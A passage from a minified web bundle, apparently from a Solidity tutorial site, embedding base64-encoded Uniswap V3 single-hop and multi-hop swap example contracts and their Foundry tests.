sKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dE11bHRpSG9wKGJ5dGVzIGNhbGxkYXRhIHBhdGgsIGFkZHJlc3MgdG9rZW5JbiwgdWludDI1NiBhbW91bnRJbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KQogICAgewogICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIElFUkMyMCh0b2tlbkluKS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zKHsKICAgICAgICAgICAgcGF0aDogcGF0aCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAKICAgICAgICB9KTsKICAgICAgICBhbW91bnRPdXQgPSByb3V0ZXIuZXhhY3RJbnB1dChwYXJhbXMpOwogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2OwogICAgfQoKICAgIC8vLyBAbm90aWNlIFN3YXBzIGFtb3VudEluIG9mIG9uZSB0b2tlbiBmb3IgYXMgbXVjaCBhcyBwb3NzaWJsZSBvZiBhbm90aGVyIHRva2VuCiAgICAvLy8gQHBhcmFtIHBhcmFtcyBUaGUgcGFyYW1ldGVycyBuZWNlc3NhcnkgZm9yIHRoZSBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0SW5wdXRQYXJhbXMgewogICAgICAgIGJ5dGVzIHBhdGg7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICAvLy8gQG5vdGljZSBTd2FwcyBhbW91bnRJbiBvZiBvbmUgdG9rZW4gZm9yIGFzIG11Y2ggYXMgcG9zc2libGUgb2YgYW5vdGhlciBhbG9uZyB0aGUgc3BlY2lmaWVkIHBhdGgKICAgIC8vLyBAcGFyYW0gcGFyYW1zIFRoZSBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSBmb3IgdGhlIG11bHRpLWhvcCBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dChFeGFjdElucHV0UGFyYW1zIGNhbGxkYXRhIHBhcmFtcykgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3SwapExamplesTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM1N3YXBFeGFtcGxlcy5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKYWRkcmVzcyBjb25zdGFudCBVU0RDID0gMHhBMGI4Njk5MWM2MjE4YjM2YzFkMTlENGEyZTlFYjBjRTM2MDZlQjQ4OwoKY29udHJhY3QgVW5pVjNTd2FwVGVzdCBpcyBUZXN0IHsKICAgIElXRVRIIHByaXZhdGUgd2V0aCA9IElXRVRIKFdFVEgpOwogICAgSUVSQzIwIHByaXZhdGUgZGFpID0gSUVSQzIwKERBSSk7CiAgICBJRVJDMjAgcHJpdmF0ZSB1c2RjID0gSUVSQzIwKFVTREMpOwoKICAgIFVuaXN3YXBWM1N3YXBFeGFtcGxlcyBwcml2YXRlIHVuaSA9IG5ldyBVbmlzd2FwVjNTd2FwRXhhbXBsZXMoKTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7fQoKICAgIGZ1bmN0aW9uIHRlc3RTaW5nbGVIb3AoKSBwdWJsaWMgewogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogMWUxOH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRTaW5nbGVIb3AoV0VUSCwgREFJLCAzMDAwLCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RNdWx0aUhvcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIDFlMTgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9IGFiaS5lbmNvZGVQYWNrZWQoV0VUSCwgdWludDI0KDMwMDApLCBVU0RDLCB1aW50MjQoMTAwKSwgREFJKTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRNdWx0aUhvcChwYXRoLCBXRVRILCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQp9Cg=="}],Yb=`
                    Uniswap V3 Single Hop Swap
                    
+`,Zb=({prev:s,next:a})=>r.jsx(A,{version:yb,title:mb,description:bb,html:kb,prev:s,next:a,codes:wb}),Wb="0.8.24",Bb="Uniswap V3 Swap Examples",Gb="Uniswap V3 swap examples",Vb=[{fileName:"UniswapV3MultiHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBVU0RDID0gMHhBMGI4Njk5MWM2MjE4YjM2YzFkMTlENGEyZTlFYjBjRTM2MDZlQjQ4OwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKCmNvbnRyYWN0IFVuaXN3YXBWM011bHRpSG9wU3dhcCB7CiAgICBJU3dhcFJvdXRlcjAyIHByaXZhdGUgY29uc3RhbnQgcm91dGVyID0gSVN3YXBSb3V0ZXIwMihTV0FQX1JPVVRFUl8wMik7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSUVSQzIwKFdFVEgpOwogICAgSUVSQzIwIHByaXZhdGUgY29uc3RhbnQgZGFpID0gSUVSQzIwKERBSSk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0SW5wdXRNdWx0aUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIGJ5dGVzIG1lbW9yeSBwYXRoID0KICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZChXRVRILCB1aW50MjQoMzAwMCksIFVTREMsIHVpbnQyNCgxMDApLCBEQUkpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRQYXJhbXMgbWVtb3J5IHBhcmFtcyA9IElTd2FwUm91dGVyMDIKICAgICAgICAgICAgLkV4YWN0SW5wdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogYW1vdW50T3V0TWluCiAgICAgICAgfSk7CgogICAgICAgIHJvdXRlci5leGFjdElucHV0KHBhcmFtcyk7CiAgICB9CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9CiAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoREFJLCB1aW50MjQoMTAwKSwgVVNEQywgdWludDI0KDMwMDApLCBXRVRIKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdE91dHB1dFBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RPdXRwdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudE91dDogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRJbk1heGltdW06IGFtb3VudEluTWF4CiAgICAgICAgfSk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50SW4gPSByb3V0ZXIuZXhhY3RPdXRwdXQocGFyYW1zKTsKCiAgICAgICAgaWYgKGFtb3VudEluIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgMCk7CiAgICAgICAgICAgIHdldGgudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRJbik7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIwMiB7CiAgICBzdHJ1Y3QgRXhhY3RJbnB1dFBhcmFtcyB7CiAgICAgICAgYnl0ZXMgcGF0aDsKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudDsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0KEV4YWN0SW5wdXRQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KTsKCiAgICBzdHJ1Y3QgRXhhY3RPdXRwdXRQYXJhbXMgewogICAgICAgIGJ5dGVzIHBhdGg7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQ7CiAgICAgICAgdWludDI1NiBhbW91bnRJbk1heGltdW07CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXQoRXhhY3RPdXRwdXRQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50SW4pOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3MultiHopSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM011bHRpSG9wU3dhcC5zb2wiOwoKY29udHJhY3QgVW5pc3dhcFYzTXVsdGlIb3BTd2FwVGVzdCBpcyBUZXN0IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9CiAgICAgICAgMHg2OGIzNDY1ODMzZmI3MkE3MGVjREY0ODVFMGU0QzdiRDg2NjVGYzQ1OwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYzTXVsdGlIb3BTd2FwIHByaXZhdGUgc3dhcDsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgQU1PVU5UX0lOID0gMTAgKiAxZTE4OwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IEFNT1VOVF9PVVQgPSAyMCAqIDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTUFYX0FNT1VOVF9JTiA9IDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHN3YXAgPSBuZXcgVW5pc3dhcFYzTXVsdGlIb3BTd2FwKCk7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiBBTU9VTlRfSU4gKyBNQVhfQU1PVU5UX0lOfSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHN3YXApLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9zd2FwRXhhY3RJbnB1dE11bHRpSG9wKCkgcHVibGljIHsKICAgICAgICBzd2FwLnN3YXBFeGFjdElucHV0TXVsdGlIb3AoQU1PVU5UX0lOLCAxKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhc3NlcnRHdChkMSwgMCwgIkRBSSBiYWxhbmNlID0gMCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgdzAgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQwID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBzd2FwLnN3YXBFeGFjdE91dHB1dE11bHRpSG9wKEFNT1VOVF9PVVQsIE1BWF9BTU9VTlRfSU4pOwogICAgICAgIHVpbnQyNTYgdzEgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYXNzZXJ0THQodzEsIHcwLCAiV0VUSCBiYWxhbmNlIGRpZG4ndCBkZWNyZWFzZSIpOwogICAgICAgIGFzc2VydEd0KGQxLCBkMCwgIkRBSSBiYWxhbmNlIGRpZG4ndCBpbmNyZWFzZSIpOwogICAgICAgIGFzc2VydEVxKHdldGguYmFsYW5jZU9mKGFkZHJlc3Moc3dhcCkpLCAwLCAiV0VUSCBiYWxhbmNlIG9mIHN3YXAgIT0gMCIpOwogICAgICAgIGFzc2VydEVxKGRhaS5iYWxhbmNlT2YoYWRkcmVzcyhzd2FwKSksIDAsICJEQUkgYmFsYW5jZSBvZiBzd2FwICE9IDAiKTsKICAgIH0KfQo="},{fileName:"UniswapV3SingleHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7Cgpjb250cmFjdCBVbmlzd2FwVjNTaW5nbGVIb3BTd2FwIHsKICAgIElTd2FwUm91dGVyMDIgcHJpdmF0ZSBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dFNpbmdsZUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIElTd2FwUm91dGVyMDIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RPdXRwdXRTaW5nbGVIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdE91dHB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRPdXQ6IGFtb3VudE91dCwKICAgICAgICAgICAgYW1vdW50SW5NYXhpbXVtOiBhbW91bnRJbk1heCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHJvdXRlci5leGFjdE91dHB1dFNpbmdsZShwYXJhbXMpOwoKICAgICAgICBpZiAoYW1vdW50SW4gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCAwKTsKICAgICAgICAgICAgd2V0aC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRJbk1heCAtIGFtb3VudEluKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJU3dhcFJvdXRlcjAyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW47CiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW5pbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW5NYXhpbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXRTaW5nbGUoRXhhY3RPdXRwdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50SW4pOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1Ni